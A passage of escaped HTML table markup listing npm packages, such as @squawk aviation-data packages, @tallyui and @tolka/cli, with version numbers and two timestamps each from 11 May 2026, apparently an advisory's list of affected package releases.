align=\"left\">2026-05-11T22:55:28.996Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:04.442Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~supersurkhet\">@supersurkhet<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@supersurkhet\/cli\">cli<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.0.7<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:55:49.498Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:04.366Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/mcp\">mcp<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.9.3<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:55:28.769Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:04.362Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/flightplan\">flightplan<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.5.5<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:57:01.980Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:04.332Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/fix-data\">fix-data<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.6.7<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:57:02.842Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:04.318Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/airspace-data\">airspace-data<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.5.6<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:57:02.877Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:04.270Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\">\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/git-branch-selector\">git-branch-selector<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.3.6<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:54:58.300Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:04.177Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~taskflow-corp\">@taskflow-corp<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@taskflow-corp\/cli\">cli<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.1.29<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:55:49.701Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:04.162Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/icao-registry-data\">icao-registry-data<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.8.6<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:55:28.892Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:04.045Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/geo\">geo<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.4.7<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:57:02.414Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:04.006Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/airport-data\">airport-data<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.7.7<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:57:02.128Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:04.004Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/weather\">weather<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.5.8<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:55:28.053Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:03.915Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/geo\">geo<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.4.6<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:55:28.726Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:03.784Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/flight-math\">flight-math<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.5.7<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:57:02.225Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:03.739Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/icao-registry\">icao-registry<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.5.5<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:57:02.363Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:03.705Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~beproduct\">@beproduct<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@beproduct\/nestjs-auth\">nestjs-auth<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.1.19<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:56:39.843Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:03.702Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\">\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/nextmove-mcp\">nextmove-mcp<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.1.7<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:56:34.621Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:03.699Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/airways\">airways<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.4.4<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:55:28.758Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:03.673Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tolka\">@tolka<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tolka\/cli\">cli<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.5<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:54:58.678Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:03.656Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/airways\">airways<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.4.5<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:57:02.453Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:03.632Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/fixes\">fixes<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.3.5<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:57:00.619Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:03.631Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\">\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/cmux-agent-mcp\">cmux-agent-mcp<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.1.8<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:55:49.690Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:03.609Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tallyui\">@tallyui<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tallyui\/connector-shopify\">connector-shopify<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.3<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:55:40.903Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:03.575Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/flight-math\">flight-math<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.5.6<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:55:28.496Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:03.556Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/icao-registry\">icao-registry<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.5.4<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:55:28.558Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:03.554Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tallyui\">@tallyui<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tallyui\/components\">components<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.3<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:55:41.066Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:03.537Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/navaids\">navaids<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.4.5<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:57:00.606Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:03.420Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\">\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/cross-stitch\">cross-stitch<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.1.6<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:57:02.259Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:03.395Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/notams\">notams<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.3.9<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:57:01.962Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:03.360Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/notams\">notams<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.3.8<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:55:28.582Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:03.346Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tallyui\">@tallyui<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tallyui\/theme\">theme<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.2.3<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:55:41.018Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:03.323Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/navaids\">navaids<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.4.4<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:55:27.297Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:03.253Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\">\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/wot-api\">wot-api<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.8.3<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:55:34.086Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:03.253Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/icao-registry-data\">icao-registry-data<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.8.7<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:57:03.428Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:03.153Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tolka\">@tolka<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tolka\/cli\">cli<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.6<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:56:34.596Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:03.148Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~supersurkhet\">@supersurkhet<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@supersurkhet\/sdk\">sdk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.0.7<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:55:49.846Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:03.141Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/airspace\">airspace<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.8.3<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:55:28.644Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:03.130Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/procedure-data\">procedure-data<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.7.5<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:55:28.927Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:03.070Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/types\">types<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.8.4<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:57:01.236Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:02.985Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/units\">units<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.4.5<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:55:27.445Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:02.981Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/airspace\">airspace<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.8.4<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:57:02.254Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:02.970Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/procedures\">procedures<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.5.4<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:55:27.349Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:02.961Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/flightplan\">flightplan<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.5.4<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:55:28.513Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:02.960Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/fixes\">fixes<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.3.4<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:55:27.325Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:02.949Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/procedures\">procedures<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.5.5<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:57:02.484Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:02.867Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tallyui\">@tallyui<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tallyui\/storage-sqlite\">storage-sqlite<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.2.3<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:55:41.308Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:02.864Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tallyui\">@tallyui<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tallyui\/connector-woocommerce\">connector-woocommerce<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.3<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:55:41.144Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:02.849Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/units\">units<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.4.6<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:57:02.066Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:02.845Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tallyui\">@tallyui<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tallyui\/database\">database<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.3<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:55:41.258Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:02.841Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/navaid-data\">navaid-data<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.6.7<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:57:02.601Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:02.832Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/airport-data\">airport-data<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.7.6<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:55:28.812Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:02.832Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p 